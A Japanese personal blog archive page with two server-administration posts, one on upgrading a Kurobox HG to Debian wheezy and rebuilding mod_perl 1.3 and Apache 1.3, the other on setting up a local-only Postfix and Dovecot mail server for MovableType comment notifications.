/etc/apt/sources.listのsqueezeをwheezy(かstable)に変える
apt-get update
apt-get upgrade #最小アップグレード
apt-get dist-upgrade


筆者の環境では、wheezyへのupgrade後に発生した大きなトラブルは、mod_perl 1.3がSegmentation faultするようになったことくらいである。Perlが5.14になったことによる影響のようだ。
これを修復するのに色々面倒があったので、その過程を記録する。

・mod_perlのMakefile.PLでエラー
apache_1.3.42.tar.gzとmod_perl-1.31.tar.gzを取得して、昔と同じようにmakeすると、Makefile.PLでエラーになった。
昔成功したmod_perl-1.30.tar.gz でも同様だった。
これは、/bin/shをdashじゃなくbashにすると解消した。

これは過去にも経験して、これの為に/bin/shをbashにして、そのままでも良いかと放置して、Shellshockを食らう羽目になったことを、思い出した。

・mod_perlをmakeすると、コンパイルエラーになった
mod_perl-1.31は、Perl 5.14だとコンパイルエラーになることが知られている。
最新のリポジトリでは修正されており、これを

svn co https://svn.apache.org/repos/asf/perl/modperl/branches/1.x
として取得することにより、makeに成功した。

・apacheもコンパイルエラーになった
getlineという関数名が、最近のLinuxで使われるようになって干渉する問題である。
このページに書かれている、

sed -i 's/getline/apache_getline/' src/support/htdigest.c
sed -i 's/getline/apache_getline/' src/support/htpasswd.c
sed -i 's/getline/apache_getline/' src/support/logresolve.c
の3行を実行して解決した。

・CPANでApache::Requestをインストールしようとするとエラーになった

perl -MCPAN -e shell
としてコマンドラインを起動し、
install Apache::Request
とすると、
Couldn't untar ****.tar
Package seems to come without Makefile.PL.
Had problems unarchiving. Please build manually
というエラーになった。ついでに、
install CPAN
も同じエラーになった。
メモリ不足だとこのようになることがあるとの情報があり、実際、perlが大量のRAMとswapを大量に使っており、シェル上で何もやっても数分間無反応だったので、玄箱HGのメモリ不足が原因だと思われる。
CPANを手動インストールし、
perl -MCPAN -e 'install Apache::Request'
とすると、あっさり成功した。

続きを読む "玄箱HGをwheezyにアップグレード" »

2016年01月24日

ローカルメールサーバーのセットアップ

このweblogは長年自宅サーバーのMovableTypeで運用しているが、これまでメール通知の設定をしていなかった。従って、コメントがあってもメール通知されず、自らMovableTypeの管理画面を開かないと気付かなかった。

メール通知の設定をしなかったのは、その為にはMovableTypeが稼働するサーバーにメールサーバーを立ち上げる必要があり、セキュリティに自信が無かったからである。システムのどこかに欠陥が発生して、24時間、宅外に大量のメールを発信し続けてしまうような事態は絶対に発生させたくないのである。

しかし、コメントを頂いたのに気付かず、1週間くらい承認待ちのままだったことが何度かあり、その度に、やっぱりメールサーバーを立ち上げようかと思ったのだが、以前はコメントもトラックバックもSPAMの嵐だったので、メール通知しても紛れてわからないので無駄だと思った。

その後、ほとんどのSPAMがブロックできるようになったが、コメントもトラックバックも1通も届かない日が増えると油断するようになり、昨年夏にも1度、5日ほど未承認のコメントに気付かないことがあった。
それ以来、毎日確認するようにしているが、それが面倒になってきたので、やっぱりメールサーバーを立ち上げてメール通知の設定をすることにした。


メールサーバーのプログラムは、安全上の理由でSendmailを避け、Postfixを選択した。
POP3サーバーは、慣れ親しんだqpopperがDebianに見つからなかったので、Dovecotを選択した。安全で導入が簡単な、定番の組み合わせである。

その他に、メールサーバーの仕様として、次のように決めた。
・宅外にはリレーしない
・宅内でサーバーからPOP3で取り出す
・サーバー内の全てのアカウント宛のメールをPOP3で取り出せるようにする


以下、実際に行ったことを記す。

■Postfixのセットアップ
1. aptitudeで"postfix"を選択してインストール実行

2. Postfix Configurationの画面で
No configuration
Internet Site
Internet with smarthost
Satellite system
Local only
の中から"Local only"を選択

3. サービス起動時に

warning: inet_protocols: disabling IPv6 name/address support: Address family not supported by protocol
と出た(IPv6の準備はしていないから)ので、/etc/postfix/main.cfに
inet_protocols = ipv4
を追加

4. 念の為、

inet_interfaces = loopback-only
relayhost =
であることを確認


■Dovecotのセットアップ
1. aptitudeで"dovecot-pop3d"を選択してインストール実行

2. 途中、

Error: socket() failed: Address family not supported by protocol
というエラーになり(これもこのサーバーがIPv6に非対応だから)、aptitude上で"C"(= Half-configured)マークが付いたので、/etc/dovecot/dovecot.confに
listen = *
を追加して、aptitudeでそのまま(gを2回押して)再実行

3. LAN内のPCからメール受信すると、

pop3(user01): Error: file_dotlock_create(/var/mail/user01) failed: Permission denied (euid=1001(user01) egid=100(users) missing +w perm: /var/mail, we're not in group 8(mail), dir owned by 0:8 mode=0775) (set mail_privileged_group=mail)
というエラーが出て、受信したメールが/var/spool/mail/から消えなかったので、/etc/dovecot/conf.d/10-mail.confに
mail_privileged_group = mail
を追加


■全ての宛先のメールを特定のアカウントに転送する設定
Dovecotのデフォルト設定では、uidが500以上のアカウントしか受け付けないようになっており、しかもrootでのログインは一切受け付けないようになっている(/etc/dovecot/conf.d/10-mail.confのfirst_valid_uidの説明を参照)ので、root宛のメールも取り出したければ、root宛のメールを別のアカウントに転送するしかない。

1. /etc/postfix/main.cfに

virtual_alias_maps = regexp:/etc/postfix/virtual
を追加

2. /etc/postfix/virtualを次の内容で作成

/.+@.+/ user01
(postmap /etc/postfix/virtualは省略)

3. Postfixを再起動

Perlの正規表現しか覚えていない身としては、virtual_alias_mapsのregexp:pcre:にしたかったが、postfix-pcreというパッケージを別途インストールする必要があるので、諦めた。
※pcre = perl compatible regular expression

なお、Webで検索すると、virtual_alias_mapsを設定するのではなく、

luser_relay = user01
local_recipient_maps =
とすれば良いという情報がいくつもあるが、それだと実在のアカウントのメールが転送されなかった。
筆者の環境では他にも設定が必要なのかも知れない(これだけだとlocal_recipient_mapsがキャンセルされないのかも)が、深追いしなかった。


■MovableTypeのメールアドレス変更
プロバイダーのメールアドレスを設定していたので、ローカルサーバーのメールアドレスに変更する必要があったが、設定したメールアドレスが、MovableTypeの管理画面のシステム・メニューにもシステム全体の設定画面にも各ブログの設定画面にも見当たらず、CGIのスクリプトやmt-staticの中をgrepしても見当たらなかったので、結構難儀してしまった。

ネットでキャプチャー画面付きの説明を見つけてやっと、MovableTypeの管理画面の「現在のログイン名:」の横のユーザー名をクリックすれば出てくることがわかった。

続きを読む "ローカルメールサーバーのセットアップ" »

About ウェブログ環境構築

ブログ「Weblog on mebius.tokaichiba.jp」のカテゴリ「ウェブログ環境構築」に投稿されたすべてのエントリーのアーカイブのページです。過去のものから新しいものへ順番に並んでいます。

前のカテゴリはUNIXです。

次のカテゴリは十日市場駅周辺です。

他にも多くのエントリーがあります。メインページアーカイブページも見てください。

Powered by
Movable Type 3.35